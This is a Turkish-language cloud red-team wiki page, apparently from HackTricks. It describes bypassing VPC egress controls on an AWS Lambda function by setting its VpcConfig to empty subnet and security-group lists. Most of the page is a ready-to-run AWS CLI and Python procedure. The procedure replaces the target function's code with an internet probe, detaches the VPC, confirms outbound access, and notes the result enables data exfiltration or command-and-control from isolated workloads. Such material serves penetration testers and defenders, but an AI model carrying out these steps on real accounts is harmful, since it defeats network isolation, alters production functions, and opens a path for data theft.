AWS Lambda – VpcConfig’i Ayırarak VPC Egress Bypass

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bir Lambda fonksiyonunu, VpcConfig’i boş (SubnetIds=[], SecurityGroupIds=[]) olarak güncelleyerek kısıtlı bir VPC’den çıkarmaya zorlayın. Fonksiyon daha sonra Lambda tarafından yönetilen ağ düzleminde çalışır, böylece giden internet erişimini yeniden kazanır ve NAT olmayan özel VPC alt ağları tarafından uygulanan egress kontrollerini atlatır.

Kötüye kullanımı

  • Önkoşullar: hedef fonksiyon üzerinde lambda:UpdateFunctionConfiguration (doğrulamak için lambda:InvokeFunction da), ayrıca kod/handler değiştirilecekse bunları güncelleme izinleri.
  • Varsayımlar: Fonksiyon şu anda NAT olmayan özel alt ağlara işaret eden VpcConfig ile yapılandırılmıştır (bu yüzden giden internet engellenmiştir).
  • Bölge: us-east-1

Adımlar

  1. Giden HTTP’nin çalıştığını kanıtlayan minimal bir handler hazırlayın

cat > net.py <<‘PY’ import urllib.request, json

def lambda_handler(event, context): try: ip = urllib.request.urlopen(‘https://checkip.amazonaws.com’, timeout=3).read().decode().strip() return {“egress”: True, “ip”: ip} except Exception as e: return {“egress”: False, “err”: str(e)} PY zip net.zip net.py aws lambda update-function-code –function-name $TARGET_FN –zip-file fileb://net.zip –region $REGION || true aws lambda update-function-configuration –function-name $TARGET_FN –handler net.lambda_handler –region $REGION || true

  1. Mevcut VPC konfigürasyonunu kaydedin (gerekirse sonra geri yüklemek için)

aws lambda get-function-configuration –function-name $TARGET_FN –query ‘VpcConfig’ –region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json

  1. Boş listeler ayarlayarak VPC’yi ayırın

aws lambda update-function-configuration
–function-name $TARGET_FN
–vpc-config SubnetIds=[],SecurityGroupIds=[]
–region $REGION until [ “$(aws lambda get-function-configuration –function-name $TARGET_FN –query LastUpdateStatus –output text –region $REGION)” = “Successful” ]; do sleep 2; done

  1. Çağırın ve giden erişimi doğrulayın

aws lambda invoke –function-name $TARGET_FN /tmp/net-out.json –region $REGION >/dev/null cat /tmp/net-out.json

(Optional) Orijinal VPC konfigürasyonunu geri yükleyin

if jq -e ‘.SubnetIds | length > 0’ /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r ‘.SubnetIds | join(“,”)’ /tmp/orig-vpc.json); SGS=$(jq -r ‘.SecurityGroupIds | join(“,”)’ /tmp/orig-vpc.json) aws lambda update-function-configuration –function-name $TARGET_FN –vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] –region $REGION fi

Etki

  • Fonksiyonun kısıtlanmamış giden internet erişimini geri kazanır; bu, bilerek NAT olmayan özel alt ağlarda izole edilmiş iş yüklerinden veri sızdırma veya C2’ye izin verir.

Örnek çıktı (VpcConfig ayrıldıktan sonra)

{“egress”: true, “ip”: “34.x.x.x”}

Temizlik

  • Geçici kod/handler değişiklikleri oluşturduysanız, bunları geri yükleyin.
  • İsteğe bağlı olarak yukarıda gösterildiği gibi /tmp/orig-vpc.json’de kaydedilmiş orijinal VpcConfig’i geri yükleyin.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin